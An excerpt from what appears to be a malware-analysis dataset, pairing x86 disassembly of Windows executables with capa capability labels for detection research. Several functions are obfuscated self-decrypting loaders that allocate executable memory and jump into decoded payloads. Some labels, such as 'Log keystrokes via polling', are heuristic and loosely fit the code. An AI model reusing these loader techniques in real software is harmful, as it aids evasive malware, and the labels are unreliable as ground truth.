joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
jmp loc.00401219

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x432072
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x3cd05302
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
je 0x4320d2
nop
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x15801984
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x10090ac
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push dword [ebp + 0xc]
mov ecx, edi
call sub.MFC42.DLL_CDataExchange::PrepareEditCtrl
cmp dword [edi], 0
mov esi, eax
je 0x100912e
lea eax, [ebp - 0x40]
push 0x40
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp byte [ebp - 0x40], 0
je 0x1009123
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 0x40]
mov esi, 0x1020178
push ebx
push eax
mov ecx, esi
call fcn.0101103a
test eax, eax
jne 0x1009106
push 0xffffffffffffffff
push 0x40
push 0x67
call sub.MFC42.DLL_AfxMessageBox
mov ecx, edi
call sub.MFC42.DLL_CDataExchange::Fail
push 2
lea eax, [ebp - 0x40]
push dword [ebx]
mov ecx, esi
push eax
call fcn.01011126
lea eax, [ebp - 0x40]
push ebx
push eax
mov ecx, esi
call fcn.0101103a
jmp 0x1009156
mov eax, dword [ebp + 0x10]
mov dword [eax], 0x7fffffff
jmp 0x1009156
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, 0x7fffffff
je 0x1009156
push 2
push eax
lea eax, [ebp - 0x40]
mov ecx, 0x1020178
push eax
call fcn.01011126
lea eax, [ebp - 0x40]
push eax
push esi
call dword [sym.imp.USER32.dll_SetWindowTextA]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10097d7
Capabilities:
Get file attributes
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
cmp dword [0x102015c], 0
jne 0x10098d4
push edi
push esi
push ebx
mov ebx, 0x101f944
cmp dword [ebx - 4], 0
jne 0x10098b8
mov eax, dword [ebx]
mov edi, 0x104
test eax, eax
mov dword [ebp - 8], edi
je 0x10098b8
lea ecx, [ebp - 4]
push ecx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, eax
test esi, esi
jne 0x10098b5
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x210]
push eax
push esi
push esi
push 0x10035fc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x10098b5
lea eax, [ebp - 0x10c]
push edi
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jne 0x1009876
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jne 0x10098b5
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
and esi, 0x10
test esi, esi
jne 0x10098b5
lea edi, [ebp - 0x10c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [ebx]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x10098b8
and dword [ebx], 0
add ebx, 0x18
cmp ebx, 0x101fa64
jl 0x10097f5
pop ebx
pop esi
mov dword [0x102015c], 1
pop edi
leave
ret

Function at 0x100c627
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, ecx
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [esp + 0xc]
push 1
push 0
push dword [esp + 0x1c]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop esi
inc eax
ret 8
Function at 0x1010c0f
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [ebp + 8]
cmp byte [eax], 0
je 0x1010c66
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MFC42.DLL_AfxFullPath
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
test ax, ax
mov dword [ebp + 8], eax
je 0x1010c66
lea eax, [ebp + 8]
push eax
push 0x1010c6c
call dword [sym.imp.USER32.dll_EnumWindows]
cmp word [ebp + 8], 0
jne 0x1010c5d
push 1
pop eax
jmp 0x1010c68
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
xor eax, eax
leave
ret 4
Function at 0x1010e3d
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, dword [sym.imp.GDI32.dll_GetStockObject]
push edi
xor edi, edi
mov ebx, ecx
push 0x11
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], edi
call esi
cmp eax, edi
jne 0x1010e62
push 0xc
call esi
lea ecx, [ebx + 0xfc]
push ecx
push 0x3c
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
push 1
mov esi, 0x1004ed0
push 0x1004ed8
push esi
mov ecx, ebx
call sub.MFC42.DLL_CWinApp::GetProfileIntA
and byte [ebp - 2], 0
mov dword [ebx + 0x174], eax
lea eax, [ebp - 2]
push 2
push eax
push 0xd
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
xor eax, eax
cmp byte [ebp - 2], 0x31
mov ecx, ebx
setne al
push eax
push 0x1004ee0
push esi
call sub.MFC42.DLL_CWinApp::GetProfileIntA
push edi
push 0x1004ef8
push esi
mov ecx, ebx
mov dword [ebx + 0x640], eax
call sub.MFC42.DLL_CWinApp::GetProfileIntA
mov dword [ebx + 0x15c], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0x1004ee8
push esi
mov ecx, ebx
call sub.MFC42.DLL_CWinApp::GetProfileBinary
test eax, eax
je 0x1010f0e
mov esi, dword [ebp - 8]
lea edi, [ebx + 0x14c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push dword [ebp - 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call sub.MFC42.DLL_operatordelete
pop ecx
xor edi, edi
mov esi, 0x1004ed0
jmp 0x1010f1f
push edi
push edi
lea eax, [ebx + 0x14c]
push edi
push edi
push eax
call dword [sym.imp.USER32.dll_SetRect]
push 1
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
mov dword [ebp - 0x10], eax
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
lea eax, [ebx + 0x14c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
call dword [sym.imp.USER32.dll_IntersectRect]
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x30]
cmp eax, 0xa
jl 0x1010f6b
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x2c]
cmp eax, 0xa
jge 0x1010f7c
push edi
push edi
push edi
lea eax, [ebx + 0x14c]
push edi
push eax
call dword [sym.imp.USER32.dll_SetRect]
lea eax, [ebp - 0xc]
mov ecx, ebx
push eax
lea eax, [ebp - 8]
push eax
push 0x1004ec0
push esi
call sub.MFC42.DLL_CWinApp::GetProfileBinary
test eax, eax
je 0x1010fad
mov esi, dword [ebp - 8]
lea edi, [ebx + 0x13c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push dword [ebp - 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call sub.MFC42.DLL_operatordelete
pop ecx
jmp 0x1010fc8
mov ecx, 0x5a0
mov eax, 0x708
push ecx
push eax
push ecx
push eax
lea eax, [ebx + 0x13c]
push eax
call dword [sym.imp.USER32.dll_SetRect]
push 0x1004e90
lea ecx, [ebx + 0x184]
call fcn.0100dd71
push 0x1004e98
lea ecx, [ebx + 0x23c]
call fcn.0100dd71
push 0x1004ea0
lea ecx, [ebx + 0x2f4]
call fcn.0100dd71
push 0x1004ea8
lea ecx, [ebx + 0x3ac]
call fcn.0100dd71
push 0x1004eb0
lea ecx, [ebx + 0x464]
call fcn.0100dd71
pop edi
pop esi
pop ebx
leave
ret
Function at 0x101218b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [ebp + 8], esi
push edi
mov dword [ebp - 4], esi
je 0x10121bb
push esi
push 0x80
push 3
push esi
push 3
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10121bf
xor eax, eax
jmp 0x10121f7
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp + 8]
push 2
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, esi
je 0x10121ee
cmp dword [ebp - 4], 2
jne 0x10121ee
cmp word [ebp + 8], 0xfeff
je 0x10121eb
cmp word [ebp + 8], 0xfffe
jne 0x10121ee
push 1
pop esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
leave
ret 4

Function at 0x1013f22
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
push esi
mov ebx, dword [sym.imp.SHELL32.dll_DragQueryFileA]
xor esi, esi
push edi
push esi
push esi
push 0xffffffffffffffff
push dword [ebp + 8]
mov edi, ecx
call ebx
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
push esi
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
push 0x434
push dword [edi + 0x20]
call esi
and dword [ebp - 4], 0
cmp dword [ebp - 8], 0
jbe 0x1013fb8
lea eax, [ebp - 0x118]
push 0x104
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call ebx
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0x10
je 0x1013fad
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0x437
push dword [edi + 0x20]
call esi
lea eax, [ebp - 0x118]
mov ecx, edi
push eax
call fcn.01017ec5
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x1013f63
lea eax, [ebp - 0x10]
push eax
push 0
push 0x437
push dword [edi + 0x20]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4

Function at 0x1017a76
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 8], 0x79
push esi
mov esi, ecx
jne 0x1017ad6
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x1017ad6
lea eax, [ebp - 0x10]
push eax
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
add eax, ecx
mov esi, dword [esi + 0x20]
cdq
sub eax, edx
mov edx, dword [ebp - 0xc]
mov ecx, eax
mov eax, dword [ebp - 4]
add eax, edx
cdq
sub eax, edx
sar eax, 1
sar ecx, 1
movzx eax, ax
movzx ecx, cx
shl eax, 0x10
or eax, ecx
push eax
push esi
push 0x7b
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
jmp 0x1017add
mov ecx, esi
call sub.MFC42.DLL_CWnd::Default
pop esi
leave
ret 0xc
Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x40345b
pop dword [ebp - 0x1c]
mov eax, 0x40345b
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x280a1832
sub dword [ebp - 0x2c], 0xd9b7d2e7
mov dword [ebp - 0x28], 0xbc4130c1
add dword [ebp - 0x28], 0x75f21b84
mov dword [ebp - 0x24], 0xccd7b518
sub dword [ebp - 0x24], 0x808b70ea
mov dword [ebp - 0x20], 0x529628ed
sub dword [ebp - 0x20], 0x529628ed
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x1b2eea3e
add eax, 0xe5115616
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xc58c8ef8
add dword [ebp - 0x2c], 0xaee5da5e
mov dword [ebp - 0x28], 0x183c4f56
add dword [ebp - 0x28], 0x2930121f
mov dword [ebp - 0x24], 0x1277bff2
add dword [ebp - 0x24], 0x50f7ac7a
mov dword [ebp - 0x20], 0xdfcc8978
sub dword [ebp - 0x20], 0xdfcc8978
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x94784580
sub eax, 0x94380530
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3570b
push 0
call eax
mov ecx, 0x5726bb92
add ecx, 0xa8d986bb
xor esi, esi
add esi, eax
mov edx, 0x408400
add edx, dword [ebp - 0x1c]
mov edi, 0x759d10ae
xor dword [ebp - 0xc], 0x49df5059
mov ebx, dword [edx]
xor dword [ebp - 0x10], 0x9a8a4499
sub ebx, edi
sub dword [ebp - 0xc], 0x80179bd2
mov dword [esi], ebx
add dword [ebp - 0x18], 0xec97444a
add esi, 0x3b19a22b
sub esi, 0x3b19a227
add edx, 0x33905a08
add edx, 0xcc6fa5fc
loop 0x40356e
add eax, 0xfc07
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xce8e0ec3
add ecx, 0x31b1f13d
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x40a240
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40a24f
pop dword [ebp - 0x28]
mov eax, 0xaa42e26a
add eax, 0x55fdbfe5
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x84b649fc
sub dword [ebp - 0x38], 0x366404b1
mov dword [ebp - 0x34], 0x6d031648
sub dword [ebp - 0x34], 0x3acfca03
mov dword [ebp - 0x30], 0xa468afb9
add dword [ebp - 0x30], 0xa7e39475
mov dword [ebp - 0x2c], 0x29ac0c98
sub dword [ebp - 0x2c], 0x29ac0c98
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x40ca0112
add dword [ebp - 0x38], 0x33a86844
mov dword [ebp - 0x34], 0xca31591a
add dword [ebp - 0x34], 0x773b085b
mov dword [ebp - 0x30], 0xa5cf3204
add dword [ebp - 0x30], 0xbda03a68
mov dword [ebp - 0x2c], 0x15905b2
add dword [ebp - 0x2c], 0xfea6fa4e
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3b4dc
push 0
call eax
mov ecx, 0x4a80
mov edi, eax
mov edx, 0xd49ef5d
sub edx, 0xd083f5d
add edx, dword [ebp - 0x28]
mov esi, 0x53a0ec2
sub esi, 0x6b429a69
xor dword [ebp - 0x14], 0x5d947278
mov ebx, dword [edx]
mov dword [ebp - 8], 0x33df5f82
sub ebx, esi
mov dword [ebp - 0x24], 0xc4dd5ffa
mov dword [edi], ebx
xor dword [ebp - 0x24], ebx
add edi, 0xec6d6bd2
add edi, 0x13929432
add edx, 0x4ec70c01
add edx, 0xb138f403
loop 0x40a361
add eax, 0xf58ce0ec
sub eax, 0xf58bc419
xor ebx, ebx
add ebx, eax
add eax, 0xf1f5f3ae
add eax, 0xe0a0c57
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x410100
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x41011c
mov dword [eax], ecx
jmp 0x41011e
mov eax, ecx
push ecx
push ecx
push esi
push 0x410190
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x485b00
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x5c000]
push edi
or ebp, 0xffffffff
jmp 0x485b22
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x485b29
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x485b18
mov eax, 1
add ebx, ebx
jne 0x485b3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x485b4c
jne 0x485b6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x485b6b
dec eax
add ebx, ebx
jne 0x485b58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x485b30
add ebx, ebx
jne 0x485b67
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x485bbd
xor ecx, ecx
sub eax, 3
jb 0x485b83
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x485bf2
sar eax, 1
mov ebp, eax
jmp 0x485b8e
add ebx, ebx
jne 0x485b8e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x485b5c
inc ecx
add ebx, ebx
jne 0x485b9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x485b5c
add ebx, ebx
jne 0x485ba9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x485b9e
jne 0x485bba
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x485b9e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x485bdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x485bce
jmp 0x485b1e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x485bdc
add edi, ecx
jmp 0x485b1e
pop esi
mov edi, esi
mov ecx, 0x946
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x485bfa
cmp byte [edi], 0x11
jne 0x485bfa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x485bff
lea edi, [esi + 0x82000]
mov eax, dword [edi]
or eax, eax
je 0x485c77
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x9e218]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x9e2d4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x485c2c
mov ecx, edi
jns 0x485c5b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x9e2dc]
or eax, eax
je 0x485c71
mov dword [ebx], eax
add ebx, 4
jmp 0x485c49
call dword [esi + 0x9e2d8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x485ca8
cmp al, 0xef
ja 0x485c9b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x485c7d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x485c8a
mov ebp, dword [esi + 0x9e2e0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x485cdc
sub esp, 0xffffff80
jmp 0x404ff7
Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push ebp
push esi
push edi
call fcn.0040eb78
push str._JAVA_LAUNCHER_DEBUG
mov eax, dword [eax]
mov dword [0x433680], eax
call fcn.00422dbf
xor ebp, ebp
pop ecx
test eax, eax
je 0x401059
push str.Windows_original_main_args:_n
call fcn.00401112
pop ecx
mov esi, ebp
call fcn.0040e6c7
cmp dword [eax], ebp
jle 0x401059
call fcn.0040e6cd
mov eax, dword [eax]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.00401112
add esp, 0xc
inc esi
call fcn.0040e6c7
cmp esi, dword [eax]
jl 0x401037
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push eax
call fcn.0040121d
call fcn.00401285
mov ebx, eax
lea ecx, [ebx*4 + 4]
push ecx
call fcn.00401135
pop ecx
pop ecx
mov esi, eax
call fcn.0040128b
mov edx, ebp
test ebx, ebx
jle 0x401093
mov ecx, dword [eax + edx*8]
mov dword [esi + edx*4], ecx
inc edx
cmp edx, ebx
jl 0x401088
mov edi, dword [str.java]
mov dword [esi + edx*4], ebp
test edi, edi
jne 0x4010a2
mov edi, dword [esi]
mov edx, dword [section..data]
test edx, edx
jne 0x4010ae
mov edx, dword [esi]
mov ecx, dword [0x432990]
push ebp
xor ebp, ebp
inc ebp
test ecx, ecx
push ebp
push ebp
setne al
movzx eax, al
push eax
push edi
push edx
push 0x426274
push 0x426278
push dword [0x432994]
push ebp
push ecx
push ebp
push esi
push ebx
call fcn.00401d65
add esp, 0x38
pop edi
pop esi
pop ebp
pop ebx
ret 0x10
Function at 0x404305
Capabilities:
Read file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push 2
push 0xffffffffffffffff
push 0xffffffffffffffea
push ebp
call fcn.00422dbf
mov ebx, edx
add esp, 0x10
mov esi, eax
test ebx, ebx
jl 0x404478
jg 0x404334
test esi, esi
jb 0x404478
mov edi, dword [esp + 0x20]
push 0x16
push edi
push ebp
call fcn.004175dd
add esp, 0xc
test eax, eax
js 0x404478
movzx ecx, byte [edi + 3]
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
cmp ecx, 0x6054b50
jne 0x404396
push edi
call fcn.00404887
pop ecx
test eax, eax
je 0x40438d
push ebx
push esi
push edi
push ebp
call fcn.00422dbf
add esp, 0x10
mov esi, eax
mov ebx, edx
mov eax, esi
mov edx, ebx
jmp 0x40447d
push 2
xor ebx, ebx
push ebx
push ebx
push ebp
call fcn.00422dbf
mov ebp, eax
add esp, 0x10
mov eax, edx
mov dword [esp + 0x14], eax
cmp eax, ebx
jl 0x404478
jg 0x4043bf
cmp ebp, ebx
jb 0x404478
mov ecx, 0x10015
cmp eax, ebx
jg 0x4043d4
jl 0x4043ce
cmp ebp, ecx
jae 0x4043d4
mov esi, ebp
mov ecx, eax
jmp 0x4043d8
mov esi, ecx
mov ecx, ebx
mov eax, esi
neg eax
push 2
adc ecx, ebx
neg ecx
push ecx
push eax
push dword [esp + 0x28]
call fcn.00422dbf
add esp, 0x10
cmp edx, ebx
jl 0x404478
jg 0x4043fe
cmp eax, ebx
jb 0x404478
push 0x10015
call fcn.00422dbf
mov ebx, eax
pop ecx
test ebx, ebx
je 0x404478
push esi
push ebx
push dword [esp + 0x24]
call fcn.004175dd
add esp, 0xc
mov dword [esp + 0x10], eax
test eax, eax
js 0x404471
lea edx, [ebx + eax]
lea esi, [edx - 0x16]
jmp 0x40446d
cmp byte [esi], 0x50
jne 0x40446c
movzx ecx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
shl ecx, 8
or ecx, 0x50
cmp ecx, 0x6054b50
jne 0x40446c
movzx ecx, byte [esi + 0x15]
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
lea eax, [esi + 0x16]
add eax, ecx
cmp eax, edx
je 0x404484
dec esi
cmp esi, ebx
jae 0x40442d
push ebx
call fcn.00422dbf
pop ecx
or eax, 0xffffffff
or edx, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push 0x16
push esi
push edi
call fcn.0040a170
push ebx
call fcn.00422dbf
mov eax, dword [esp + 0x20]
add eax, ebx
sub eax, esi
mov esi, dword [esp + 0x24]
cdq
sub ebp, eax
push edi
sbb esi, edx
call fcn.00404887
add esp, 0x14
test eax, eax
je 0x4044c4
push esi
push ebp
push edi
push dword [esp + 0x28]
call fcn.00422dbf
add esp, 0x10
mov ebp, eax
mov esi, edx
mov eax, ebp
mov edx, esi
jmp 0x40447d
Function at 0x422dbf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x422dce
pop dword [ebp - 0x14]
mov eax, 0xf4a906bb
add eax, 0xb992713
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xfefc4b5d
sub dword [ebp - 0x24], 0xb0aa0612
mov dword [ebp - 0x20], 0xa5551a24
add dword [ebp - 0x20], 0x8cde3221
mov dword [ebp - 0x1c], 0xec54def
sub dword [ebp - 0x1c], 0xc27909c1
mov dword [ebp - 0x18], 0x7a96a727
sub dword [ebp - 0x18], 0x7a96a727
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x46b4a5cf
add dword [ebp - 0x24], 0x2dbdc387
mov dword [ebp - 0x20], 0xa0a2092d
sub dword [ebp - 0x20], 0x5f35a7b8
mov dword [ebp - 0x1c], 0x89639ece
add dword [ebp - 0x1c], 0xda0bcd9e
mov dword [ebp - 0x18], 0xcc384173
sub dword [ebp - 0x18], 0xcc384173
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x8d74fff6
add eax, 0x72cd6062
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3f87a
push 0
call eax
mov ecx, 0x1c9d591b
add ecx, 0xe362f622
xor edx, edx
add edx, eax
mov esi, 0x78c2613e
add esi, 0x878188c2
add esi, dword [ebp - 0x14]
mov ebx, 0x69a6043d
add dword [ebp - 4], 0x283a47fa
mov edi, dword [esi]
sub dword [ebp - 0x10], esi
add edi, ebx
sub dword [ebp - 4], 0xd9855b73
mov dword [edx], edi
xor dword [ebp - 0x10], 0x1896d013
add edx, 0x83ed10a
add edx, 0xf7c12efa
add esi, 4
loop 0x422ee7
add eax, 0x5086db49
sub eax, 0x5085ab82
mov ebx, eax
add eax, 0x63e59133
add eax, 0x9c1a6ed2
mov ecx, 0xd6c9c212
sub ecx, 0xd689c212
add ecx, dword [ebp - 0x14]
call ebx
leave
ret